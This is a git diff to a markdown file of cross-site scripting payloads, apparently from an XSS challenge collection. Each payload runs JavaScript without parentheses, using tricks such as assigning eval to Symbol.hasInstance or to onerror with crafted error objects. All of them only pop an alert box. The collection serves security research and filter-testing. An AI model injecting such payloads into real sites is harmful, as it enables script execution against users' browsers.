Update Without-Parentheses.md

Without-Parentheses.md

@@ -224,6 +224,13 @@ xss.html
 
 ---
 
+[Pepe Vila](https://twitter.com/cgvwzq)
+
+    Array.prototype[Symbol.hasInstance]=eval;
+    "alert\x2823\x29" instanceof [];
+
+---
+
 [iwasakinoriaki](https://github.com/cure53/XSSChallengeWiki/wiki/ES6-Challenge)
 
     window.name="alert(23)"
@@ -279,31 +286,31 @@ throw/**/onerror=Uncaught=eval,e={lineNumber:1,columnNumber:1,fileName:'',messag
 
 // chrome + firefox
 
-throw[onerror=eval][e=[x=/-alert(1)/.source]]=0[e.lineNumber=e.columnNumber=e.fileName=e.message=x]=e
+throw[onerror=eval][e=[x='+alert\x2823\x29']]=0[e.lineNumber=e.columnNumber=e.fileName=e.message=x]=e
 
 </script>
 
 <script>
 
 // firefox
 
-onhashchange=setTimeout,HashChangeEvent.prototype[Symbol.toStringTag]=/=alert(2)/.source,location.hash=1
+onhashchange=setTimeout,HashChangeEvent.prototype[Symbol.toStringTag]='+alert\x2823\x29',location.hash=1
 
 </script>
 
 <script>
 
 // chrome + firefox
 
-Array.prototype[Symbol.hasInstance]=eval,'alert\x283\x29'instanceof[]
+Array.prototype[Symbol.hasInstance]=eval,'alert\x2823\x29'instanceof[]
 
 </script>
 
 <script>
 
 // chrome
 
-[onerror=eval][TypeError.prototype.name='=/']['/-alert\x284\x29//']
+[onerror=eval][TypeError.prototype.name='=/']['/-alert\x2823\x29//']
 
 </script>
 
@@ -312,7 +319,7 @@ Array.prototype[Symbol.hasInstance]=eval,'alert\x283\x29'instanceof[]
 
 // chrome
 
-onerror=eval,ReferenceError.prototype.name='=alert\x285\x29//',lol
+onerror=eval,ReferenceError.prototype.name='=alert\x2823\x29//',lol
 
 </script>
 ```